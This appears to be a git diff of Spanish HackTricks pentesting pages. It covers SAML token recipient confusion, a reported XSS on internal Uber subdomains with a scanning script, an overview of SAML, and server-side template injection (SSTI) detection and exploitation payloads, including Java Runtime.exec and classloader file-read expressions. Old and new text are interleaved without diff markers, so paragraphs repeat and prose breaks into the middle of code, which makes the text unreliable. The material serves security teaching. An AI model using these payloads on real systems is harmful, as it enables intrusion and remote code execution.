Para que un ataque de Confusión del Destinatario del Token SAML (SAML-TRC) sea factible, deben cumplirse ciertas condiciones. En primer lugar, debe haber una cuenta válida en un Proveedor de Servicios (denominado SP-Legit). En segundo lugar, el Proveedor de Servicios objetivo (SP-Target) debe aceptar tokens del mismo Proveedor de Identidad que sirve a SP-Legit.
|
||||
|
||||
### Cómo hacerlo <a href="#token-recipient-confusion-how-to" id="token-recipient-confusion-how-to"></a>
|
||||
El proceso de ataque es sencillo bajo estas condiciones. Se inicia una sesión auténtica con SP-Legit a través del Proveedor de Identidad compartido. La Respuesta SAML del Proveedor de Identidad a SP-Legit es interceptada. Esta Respuesta SAML interceptada, originalmente destinada a SP-Legit, se redirige a SP-Target. El éxito en este ataque se mide por SP-Target aceptando la Aserción, otorgando acceso a recursos bajo el mismo nombre de cuenta utilizado para SP-Legit.
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
"""
|
||||
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
||||
|
||||
La Confusión del Destinatario del Token SAML (SAML-TRC) tiene algunas condiciones previas para que intentemos la explotación. Primero, **necesitamos** tener una **cuenta legítima en un Proveedor de Servicios**. Segundo, **SP-Target debe aceptar tokens emitidos por el mismo Proveedor de Identidad que sirve a SP-Legit**.
|
||||
Args:
|
||||
- saml_response: The SAML Response intercepted (in string format).
|
||||
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
||||
|
||||
El ataque es relativamente simple si las condiciones son verdaderas. Nos **autenticamos** en **SP-Legit** a través del Proveedor de Identidad compartido. Luego **interceptamos la Respuesta SAML en su camino desde el IdP a SP-Legit**. Una vez interceptada, enviamos la **Respuesta SAML que estaba destinada a SP-Legit a SP-Target en su lugar.** Si **SP-Target acepta la Afirmación**; nos encontraremos conectados con el mismo nombre de cuenta que tenemos para SP-Legit y obtendremos acceso a los recursos correspondientes de SP-Target.
|
||||
Returns:
|
||||
- status: Success or failure message.
|
||||
"""
|
||||
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
||||
try:
|
||||
# Code to send the SAML Response to SP-Target would go here
|
||||
return "SAML Response successfully redirected to SP-Target."
|
||||
except Exception as e:
|
||||
return f"Failed to redirect SAML Response: {e}"
|
||||
```
|
||||
## XSS en la funcionalidad de cierre de sesión
|
||||
|
||||
## XSS en la funcionalidad de Cierre de Sesión
|
||||
La investigación original se puede acceder a través de [este enlace](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
||||
|
||||
(Accede a la [investigación original aquí](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/))
|
||||
|
||||
Después de realizar el fuerza bruta de directorios encontré la siguiente página:
|
||||
Durante el proceso de fuerza bruta de directorios, se descubrió una página de cierre de sesión en:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
Es una página de cierre de sesión, abrí el enlace anterior y me redirigió a la siguiente página
|
||||
Al acceder a este enlace, se produjo una redirección a:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
El parámetro base está tomando una URL, así que ¿qué tal si lo reemplazamos con el clásico `javascript:alert(123);` para desencadenar un XSS.
|
||||
Esto reveló que el parámetro `base` acepta una URL. Considerando esto, surgió la idea de sustituir la URL con `javascript:alert(123);` en un intento de iniciar un ataque XSS (Cross-Site Scripting).
|
||||
|
||||
|
||||
### Explotación Masiva
|
||||
|
||||
Usando [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) que puede tomar una lista de URLs y luego devolverte la URL de callback (consumo de SAML), decidí alimentar la herramienta con todos los subdominios de `uberinternal.com` para ver si hay otros dominios que usen la misma biblioteca y los había.
|
||||
[De esta investigación](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||||
|
||||
Lo que hice a continuación fue crear un script que llama a la página vulnerable `oidauth/prompt` y probar el XSS y si mi entrada se refleja, me da un bonito mensaje de vulnerabilidad.
|
||||
La herramienta [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) se utilizó para analizar subdominios de `uberinternal.com` en busca de dominios que utilizan la misma biblioteca. Posteriormente, se desarrolló un script para apuntar a la página `oidauth/prompt`. Este script prueba la presencia de XSS (Cross-Site Scripting) ingresando datos y verificando si se reflejan en la salida. En los casos en que la entrada se refleja, el script marca la página como vulnerable.
|
||||
```python
|
||||
import requests
|
||||
import urllib3
|
||||
|
|
@ -293,9 +283,10 @@ print(Fore.WHITE + url2)
|
|||
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
|
||||
```
|
||||
## Referencias
|
||||
|
||||
Los ataques se obtuvieron de [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
|
||||
Puedes encontrar recursos adicionales y write-ups en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -303,10 +294,10 @@ Puedes encontrar recursos adicionales y write-ups en [https://epi052.gitlab.io/n
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -5,28 +5,26 @@
|
|||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# Visión general de SAML
|
||||
|
||||
**Security Assertion Markup Language (SAML)** es un estándar abierto que permite a los proveedores de identidad (IdP) enviar credenciales de autorización a los proveedores de servicios (SP). Básicamente, permite el inicio de sesión único (SSO), lo que permite el uso de un conjunto de credenciales en varios sitios web. Esto simplifica la gestión de múltiples inicios de sesión, como en el correo electrónico, software CRM o Active Directory. SAML utiliza XML para facilitar la comunicación estandarizada entre el IdP y los SP, vinculando la autenticación de identidad del usuario con la autorización del servicio.
|
||||
**Security Assertion Markup Language (SAML)** permite que los proveedores de identidad (IdP) se utilicen para enviar credenciales de autorización a los proveedores de servicios (SP), facilitando el inicio de sesión único (SSO). Este enfoque simplifica la gestión de múltiples inicios de sesión al permitir que un solo conjunto de credenciales se utilice en varios sitios web. Utiliza XML para la comunicación estandarizada entre IdPs y SPs, vinculando la autenticación de la identidad del usuario con la autorización del servicio.
|
||||
|
||||
# Comparación entre SAML y OAuth
|
||||
## Comparación entre SAML y OAuth
|
||||
|
||||
Si bien tanto **SAML** como **OAuth** ofrecen inicios de sesión en internet simplificados, tienen sus diferencias:
|
||||
|
||||
- **SAML** ofrece más control a las empresas, mejorando la seguridad de los inicios de sesión SSO.
|
||||
- **OAuth** es más amigable para dispositivos móviles, utiliza JSON y fue co-desarrollado por Google y Twitter.
|
||||
- **SAML** está diseñado para proporcionar a las empresas un mayor control sobre la seguridad del inicio de sesión SSO.
|
||||
- **OAuth** está diseñado para ser más amigable para dispositivos móviles, utiliza JSON y es un esfuerzo colaborativo de empresas como Google y Twitter.
|
||||
|
||||
# Flujo de autenticación SAML
|
||||
|
||||
Para más detalles, consulta la publicación completa en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Este es un resumen:
|
||||
**Para más detalles, consulta la publicación completa en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. Este es un resumen:
|
||||
|
||||
El proceso de autenticación SAML implica varios pasos, como se ilustra en el esquema:
|
||||
|
||||
|
|
@ -35,7 +33,7 @@ El proceso de autenticación SAML implica varios pasos, como se ilustra en el es
|
|||
1. **Intento de acceso a recursos**: El usuario intenta acceder a un recurso protegido.
|
||||
2. **Generación de solicitud SAML**: El SP no reconoce al usuario y genera una solicitud SAML.
|
||||
3. **Redirección al IdP**: El usuario es redirigido al IdP, con la solicitud SAML pasando a través del navegador del usuario.
|
||||
4. **Recepción de solicitud por el IdP**: El IdP recibe la solicitud SAML.
|
||||
4. **IdP recibe la solicitud**: El IdP recibe la solicitud SAML.
|
||||
5. **Autenticación en el IdP**: El IdP autentica al usuario.
|
||||
6. **Validación del usuario**: El IdP valida la legitimidad del usuario para acceder al recurso solicitado.
|
||||
7. **Creación de respuesta SAML**: El IdP genera una respuesta SAML que contiene las afirmaciones necesarias.
|
||||
|
|
@ -51,7 +49,7 @@ GET /secure/ HTTP/1.1
|
|||
Host: shibdemo-sp1.test.edu
|
||||
...
|
||||
```
|
||||
La solicitud SAML en bruto se ve así:
|
||||
La Solicitud SAML en bruto se ve así:
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<samlp:AuthnRequest ...
|
||||
|
|
@ -60,10 +58,10 @@ La solicitud SAML en bruto se ve así:
|
|||
Los elementos clave de esta solicitud incluyen:
|
||||
- **AssertionConsumerServiceURL**: Especifica a dónde debe enviar el IdP la Respuesta SAML después de la autenticación.
|
||||
- **Destination**: La dirección del IdP a la que se envía la solicitud.
|
||||
- **ProtocolBinding**: Define el método de transmisión de mensajes del protocolo SAML.
|
||||
- **ProtocolBinding**: Define el método de transmisión de los mensajes del protocolo SAML.
|
||||
- **saml:Issuer**: Identifica la entidad que inició la solicitud.
|
||||
|
||||
Después de generar la Solicitud SAML, el SP responde con una **redirección 302**, dirigiendo el navegador al IdP con la Solicitud SAML codificada en la cabecera **Location** de la respuesta HTTP. El parámetro **RelayState** mantiene la información de estado durante la transacción, asegurando que el SP reconozca la solicitud de recurso inicial al recibir la Respuesta SAML. El parámetro **SAMLRequest** es una versión comprimida y codificada del fragmento XML sin procesar, utilizando compresión Deflate y codificación base64.
|
||||
Después de generar la Solicitud SAML, el SP responde con una **redirección 302**, dirigiendo el navegador al IdP con la Solicitud SAML codificada en el encabezado **Location** de la respuesta HTTP. El parámetro **RelayState** mantiene la información de estado durante la transacción, asegurando que el SP reconozca la solicitud de recurso inicial al recibir la Respuesta SAML. El parámetro **SAMLRequest** es una versión comprimida y codificada del fragmento XML sin procesar, utilizando compresión Deflate y codificación base64.
|
||||
|
||||
|
||||
# Ejemplo de Respuesta SAML
|
||||
|
|
|
|||
|
|
@ -1,16 +1,16 @@
|
|||
# Inyección de plantillas en el lado del servidor (SSTI)
|
||||
# Inyección de Plantillas en el Lado del Servidor (SSTI)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -20,91 +20,35 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## ¿Qué es la inyección de plantillas en el lado del servidor?
|
||||
## ¿Qué es la Inyección de Plantillas en el Lado del Servidor (SSTI)?
|
||||
|
||||
Una inyección de plantillas en el lado del servidor ocurre cuando un atacante es capaz de utilizar la sintaxis de plantillas nativas para inyectar un payload malicioso en una plantilla, que luego se ejecuta en el servidor.
|
||||
La inyección de plantillas en el lado del servidor es una vulnerabilidad que ocurre cuando un atacante puede inyectar código malicioso en una plantilla que se ejecuta en el servidor. Esta vulnerabilidad se puede encontrar en varias tecnologías, incluyendo Jinja.
|
||||
|
||||
Los **motores de plantillas** están diseñados para **generar páginas web** combinando plantillas **fijas** con datos **volátiles**. Los ataques de inyección de plantillas en el lado del servidor pueden ocurrir cuando la **entrada del usuario** se concatena directamente **en una plantilla**, en lugar de pasarse como datos. Esto permite a los atacantes **inyectar directivas de plantilla arbitrarias** para manipular el motor de plantillas, a menudo permitiéndoles tomar **control completo del servidor**.
|
||||
|
||||
Un ejemplo de código vulnerable se muestra a continuación:
|
||||
```php
|
||||
$output = $twig->render("Dear " . $_GET['name']);
|
||||
Jinja es un motor de plantillas popular utilizado en aplicaciones web. Consideremos un ejemplo que demuestra un fragmento de código vulnerable utilizando Jinja:
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
En el ejemplo anterior **parte de la plantilla** en sí misma está siendo **generada dinámicamente** utilizando el parámetro `GET` `name`. Dado que la sintaxis de la plantilla se evalúa en el servidor, esto potencialmente permite a un atacante colocar un payload de inyección de plantilla en el servidor dentro del parámetro `name` de la siguiente manera:
|
||||
En este código vulnerable, el parámetro `name` de la solicitud del usuario se pasa directamente al template usando la función `render`. Esto potencialmente podría permitir a un atacante inyectar código malicioso en el parámetro `name`, lo que llevaría a una inyección de plantillas en el servidor.
|
||||
|
||||
Por ejemplo, un atacante podría crear una solicitud con un payload como este:
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
## Construyendo un ataque de inyección de plantillas en el servidor
|
||||
El payload `{{bad-stuff-here}}` se inyecta en el parámetro `name`. Este payload puede contener directivas de plantilla Jinja que permiten al atacante ejecutar código no autorizado o manipular el motor de plantillas, potencialmente obteniendo control sobre el servidor.
|
||||
|
||||
|
||||
Para prevenir vulnerabilidades de inyección de plantillas en el servidor, los desarrolladores deben asegurarse de que la entrada del usuario esté correctamente saneada y validada antes de ser insertada en las plantillas. Implementar validación de entrada y utilizar técnicas de escape conscientes del contexto puede ayudar a mitigar el riesgo de esta vulnerabilidad.
|
||||
|
||||
### Detectar
|
||||
### Detección
|
||||
Para detectar la Inyección de Plantillas en el Servidor (SSTI), inicialmente, **la prueba de plantillas** es un enfoque directo. Esto implica inyectar una secuencia de caracteres especiales (**`${{<%[%'"}}%\`**) en la plantilla y analizar las diferencias en la respuesta del servidor ante datos regulares versus esta carga especial. Los indicadores de vulnerabilidad incluyen:
|
||||
- Errores arrojados, revelando la vulnerabilidad y potencialmente el motor de plantillas.
|
||||
- Ausencia de la carga en la reflexión, o partes faltantes, lo que implica que el servidor la procesa de manera diferente a los datos regulares.
|
||||
|
||||
Al igual que con cualquier vulnerabilidad, el primer paso hacia la explotación es poder encontrarla. Quizás el enfoque inicial más simple sea intentar **fuzzear la plantilla** inyectando una secuencia de caracteres especiales comúnmente utilizados en expresiones de plantillas, como el políglota **`${{<%[%'"}}%\`.**\
|
||||
Para verificar si el servidor es vulnerable, debes **detectar las diferencias** entre la respuesta con **datos regulares** en el parámetro y la **carga útil proporcionada**.\
|
||||
Si se produce un **error**, será bastante fácil darse cuenta de que **el servidor es vulnerable** e incluso qué **motor está en ejecución**. Pero también podrías encontrar un servidor vulnerable si esperabas que **reflejara** la carga útil proporcionada y **no se está reflejando** o si faltan algunos **caracteres** en la respuesta.
|
||||
- **Contexto de Texto sin Formato**: Distinguir de XSS comprobando si el servidor evalúa expresiones de plantilla (por ejemplo, `{{7*7}}`, `${7*7}`).
|
||||
|
||||
**Detectar - Contexto de texto plano**
|
||||
- **Contexto de Código**: Confirmar la vulnerabilidad alterando los parámetros de entrada. Por ejemplo, cambiar `greeting` en `http://vulnerable-website.com/?greeting=data.username` para ver si la salida del servidor es dinámica o fija, como en `greeting=data.username}}hello` devolviendo el nombre de usuario.
|
||||
|
||||
La entrada proporcionada se está **renderizando y reflejando** en la respuesta. Esto puede ser fácilmente **confundido con una vulnerabilidad** de [**XSS**](../xss-cross-site-scripting/) simple, pero es fácil diferenciarlo si intentas establecer **operaciones matemáticas** dentro de una expresión de plantilla:
|
||||
```
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
<%= 7*7 %>
|
||||
${{7*7}}
|
||||
#{7*7}
|
||||
*{7*7}
|
||||
```
|
||||
**Detectar - Contexto del código**
|
||||
|
||||
En estos casos, la **entrada del usuario** se coloca **dentro** de una **expresión de plantilla**:
|
||||
```python
|
||||
engine.render("Hello {{"+greeting+"}}", data)
|
||||
```
|
||||
La URL de acceso a esa página podría ser similar a: `http://vulnerable-website.com/?greeting=data.username`
|
||||
|
||||
Si **cambias** el parámetro **`greeting`** por un **valor diferente**, la **respuesta no contendrá el nombre de usuario**, pero si accedes a algo como: `http://vulnerable-website.com/?greeting=data.username}}hello` entonces, **la respuesta contendrá el nombre de usuario** (si los caracteres de cierre de la expresión de plantilla fueron **`}}`**).\
|
||||
Si se produce un **error** durante estas pruebas, será más fácil detectar que el servidor es vulnerable.
|
||||
|
||||
### Identificar
|
||||
|
||||
Una vez que hayas detectado el potencial de inyección de plantillas, el siguiente paso es identificar el motor de plantillas.\
|
||||
Aunque hay una gran cantidad de lenguajes de plantillas, muchos de ellos utilizan una sintaxis muy similar que se elige específicamente para no chocar con los caracteres HTML.
|
||||
|
||||
Si tienes suerte, el servidor estará **imprimiendo los errores** y podrás encontrar el **motor** utilizado **dentro** de los errores. Algunas cargas útiles posibles que pueden causar errores:
|
||||
|
||||
| `${}` | `{{}}` | `<%= %>` |
|
||||
| ----------- | ------------ | --------------- |
|
||||
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
|
||||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||||
|
||||
De lo contrario, deberás probar manualmente **diferentes cargas específicas del lenguaje** y estudiar cómo son interpretadas por el motor de plantillas. Una forma común de hacer esto es inyectar operaciones matemáticas arbitrarias utilizando la sintaxis de diferentes motores de plantillas. Luego puedes observar si se evalúan correctamente. Para ayudar en este proceso, puedes usar un árbol de decisiones similar al siguiente:
|
||||
|
||||
.png>)
|
||||
|
||||
### Explotar
|
||||
|
||||
**Leer**
|
||||
|
||||
El primer paso después de encontrar la inyección de plantillas e identificar el motor de plantillas es leer la documentación. Áreas clave de interés son:
|
||||
|
||||
* Secciones 'Para autores de plantillas' que cubren la sintaxis básica.
|
||||
* 'Consideraciones de seguridad' - es probable que quien desarrolló la aplicación que estás probando no haya leído esto, y puede contener algunas pistas útiles.
|
||||
* Listas de métodos, funciones, filtros y variables integrados.
|
||||
* Listas de extensiones/complementos - algunos pueden estar habilitados de forma predeterminada.
|
||||
|
||||
**Explorar**
|
||||
|
||||
Suponiendo que no se han presentado exploits, el siguiente paso es **explorar el entorno** para averiguar exactamente a qué **tienes acceso**. Puedes esperar encontrar tanto **objetos predeterminados** proporcionados por el motor de plantillas, como **objetos específicos de la aplicación** pasados a la plantilla por el desarrollador. Muchos sistemas de plantillas exponen un objeto 'self' o de espacio de nombres que contiene todo en el ámbito, y una forma idiomática de listar los atributos y métodos de un objeto.
|
||||
|
||||
Si no hay un objeto self integrado, tendrás que probar nombres de variables por fuerza bruta utilizando [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) y la colección de listas de palabras de Burp Intruder.
|
||||
|
||||
Los objetos proporcionados por el desarrollador son particularmente propensos a contener información sensible, y pueden variar entre diferentes plantillas dentro de una aplicación, por lo que este proceso idealmente debería aplicarse a cada plantilla individualmente.
|
||||
|
||||
**Atacar**
|
||||
|
||||
En este punto, deberías tener una **idea clara de la superficie de ataque** disponible y poder proceder con técnicas tradicionales de auditoría de seguridad, revisando cada función en busca de vulnerabilidades explotables. Es importante abordar esto en el contexto de la aplicación en general - algunas funciones pueden usarse para explotar características específicas de la aplicación. Los ejemplos a seguir utilizarán la inyección de plantillas para desencadenar la creación arbitraria de objetos, la lectura/escritura arbitraria de archivos, la inclusión remota de archivos, la divulgación de información y vulnerabilidades de escalada de privilegios.
|
||||
#### Fase de Identificación
|
||||
Identificar el motor de plantillas implica analizar mensajes de error o probar manualmente varios payloads específicos de lenguaje. Los payloads comunes que causan errores incluyen `${7/0}`, `{{7/0}}` y `<%= 7/0 %>`. Observar la respuesta del servidor a operaciones matemáticas ayuda a identificar el motor de plantillas específico.
|
||||
|
||||
## Herramientas
|
||||
|
||||
|
|
@ -138,16 +82,18 @@ una tabla interactiva que contiene los políglotos de inyección de plantillas m
|
|||
En esta **lista de palabras** puedes encontrar **variables definidas** en los entornos de algunos de los motores mencionados a continuación:
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
|
||||
### Java
|
||||
|
||||
**Java - Inyección básica**
|
||||
**Java - Inyección Básica**
|
||||
```java
|
||||
${7*7}
|
||||
${{7*7}}
|
||||
${class.getClassLoader()}
|
||||
${class.getResource("").getPath()}
|
||||
${class.getResource("../../../../../index.htm").getContent()}
|
||||
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
|
||||
```
|
||||
**Java - Obtener las variables de entorno del sistema**
|
||||
```java
|
||||
|
|
@ -206,26 +152,36 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
* En la sección de Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf (Java)
|
||||
### Thymeleaf
|
||||
|
||||
La expresión de prueba típica para SSTI es `${7*7}`. Esta expresión también funciona en Thymeleaf. Si deseas lograr la ejecución de código remoto, puedes usar una de las siguientes expresiones de prueba:
|
||||
En Thymeleaf, una prueba común para vulnerabilidades de SSTI es la expresión `${7*7}`, que también se aplica a este motor de plantillas. Para una posible ejecución remota de código, se pueden usar expresiones como las siguientes:
|
||||
|
||||
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||||
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||||
- SpringEL:
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
```
|
||||
- OGNL:
|
||||
```java
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
Sin embargo, como mencionamos anteriormente, las expresiones solo funcionan en atributos especiales de Thymeleaf. Si es necesario usar una expresión en una ubicación diferente en la plantilla, Thymeleaf admite _inlineado de expresiones_. Para usar esta característica, debes colocar una expresión dentro de `[[...]]` o `[(...)]` (selecciona uno u otro dependiendo de si necesitas escapar símbolos especiales). Por lo tanto, un payload de detección de SSTI simple para Thymeleaf sería `[[${7*7}]]`.
|
||||
Thymeleaf requiere que estas expresiones se coloquen dentro de atributos específicos. Sin embargo, el _inlineado de expresiones_ es compatible para otras ubicaciones de plantillas, utilizando una sintaxis como `[[...]]` o `[(...)]`. Por lo tanto, un simple payload de prueba de SSTI podría verse así: `[[${7*7}]]`.
|
||||
|
||||
Sin embargo, las posibilidades de que el payload de detección anterior funcione son muy bajas. Las vulnerabilidades de SSTI generalmente ocurren cuando una plantilla se genera dinámicamente en el código. Thymeleaf, por defecto, no permite tales plantillas generadas dinámicamente y todas las plantillas deben crearse previamente. Por lo tanto, si un desarrollador desea crear una plantilla a partir de una cadena _sobre la marcha_, necesitaría crear su propio TemplateResolver. Esto es posible pero ocurre muy raramente.
|
||||
Sin embargo, la probabilidad de que este payload funcione generalmente es baja. La configuración predeterminada de Thymeleaf no admite la generación dinámica de plantillas; las plantillas deben estar predefinidas. Los desarrolladores deberían implementar su propio `TemplateResolver` para crear plantillas a partir de cadenas sobre la marcha, lo cual es poco común.
|
||||
|
||||
Si nos adentramos más en la documentación del motor de plantillas Thymeleaf, encontraremos una característica interesante llamada _**preprocesamiento de expresiones**_. Las expresiones colocadas entre doble guion bajo (`__...__`) son preprocesadas y el resultado del preprocesamiento se utiliza como parte de la expresión durante el procesamiento regular. Aquí tienes un ejemplo oficial de la documentación de Thymeleaf:
|
||||
Thymeleaf también ofrece _preprocesamiento de expresiones_, donde las expresiones dentro de doble guion bajo (`__...__`) son preprocesadas. Esta característica se puede utilizar en la construcción de expresiones, como se muestra en la documentación de Thymeleaf:
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
**Ejemplo vulnerable**
|
||||
```markup
|
||||
**Ejemplo de Vulnerabilidad en Thymeleaf**
|
||||
|
